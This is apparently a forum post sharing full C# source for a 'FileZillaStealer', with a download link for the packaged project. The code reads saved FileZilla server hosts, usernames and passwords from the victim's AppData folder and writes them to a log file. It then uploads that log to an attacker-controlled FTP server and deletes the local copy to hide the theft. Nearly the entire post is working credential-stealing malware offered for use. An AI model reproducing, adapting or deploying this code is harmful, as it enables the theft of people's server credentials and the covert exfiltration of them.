Hi, here is a code in C# to save all the accounts of filezilla in a text document and send to a FTP server. I have split the program in 3 classes.
Main class using methods of the other classes:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.NetworkInformation;
using System.IO;
using System.Xml;
using System.Threading;
namespace FileZillaStealer
{
class Stealer
{
static void Main(string[] args)
{
string sLogs = IPGlobalProperties.GetIPGlobalProperties().HostName +"Logs.txt";
AccountStealer StealAccounts = new AccountStealer();
FTP SendAccounts = new FTP();
StealAccounts.FileZillaAccounts(sLogs);
SendAccounts.Send("ftp.server.com", "/public_html/", "user", "pass", sLogs);
System.IO.File.Delete(sLogs);
}
}
}
Metod to send the text file to the FTP Server:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;
namespace FileZillaStealer
{
class FTP
{
public void Send(string sHost, string sDir, string sUser, string sPass, string sFile)
{
string ftpHostDirFile = "ftp://" + sHost +sDir +sFile;
FtpWebRequest ftp = (FtpWebRequest)FtpWebRequest.Create(ftpHostDirFile);
ftp.Credentials = new NetworkCredential(sUser, sPass);
ftp.KeepAlive = true;
ftp.UseBinary = true;
ftp.Method = WebRequestMethods.Ftp.UploadFile;
FileStream fs = File.OpenRead(sFile);
byte[] buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
fs.Close();
Stream ftpstream = ftp.GetRequestStream();
ftpstream.Write(buffer, 0, buffer.Length);
ftpstream.Close();
}
}
}
Metod for save the accounts
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Xml;
using System.Runtime.InteropServices;
using Microsoft.VisualBasic;
namespace FileZillaStealer
{
class AccountStealer
{
public void FileZillaAccounts(string sLogsPath)
{
XmlDocument xmlAccountsFile = new XmlDocument();
string sFilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\FileZilla\\recentservers.xml";
xmlAccountsFile.Load(sFilePath);
XmlNodeList xmlRecentServers = xmlAccountsFile.GetElementsByTagName("RecentServers");
XmlNodeList xmlList = ((XmlElement)xmlRecentServers[0]).GetElementsByTagName("Server");
string sAccount;
foreach (XmlElement nodo in xmlList)
{
XmlNodeList xmlHost = nodo.GetElementsByTagName("Host");
XmlNodeList xmlPort = nodo.GetElementsByTagName("Port");
XmlNodeList xmlUser = nodo.GetElementsByTagName("User");
XmlNodeList xmlPass = nodo.GetElementsByTagName("Pass");
sAccount = string.Format("Host: {0} Port: {1} User: {2} Pass: {3}", xmlHost[0].InnerText, xmlPort[0].InnerText, xmlUser[0].InnerText, xmlPass[0].InnerText);
FileStream fsLogs = new FileStream(sLogsPath, FileMode.OpenOrCreate, FileAccess.Write);
fsLogs.Close();
StreamWriter swAccount = File.AppendText(sLogsPath);
swAccount.WriteLine(sAccount);
swAccount.Close();
}
}
}
VS2010 Project:
Download:http://www.mediafire.com/?2u2sns4d3rwdplePassword:Backroot.org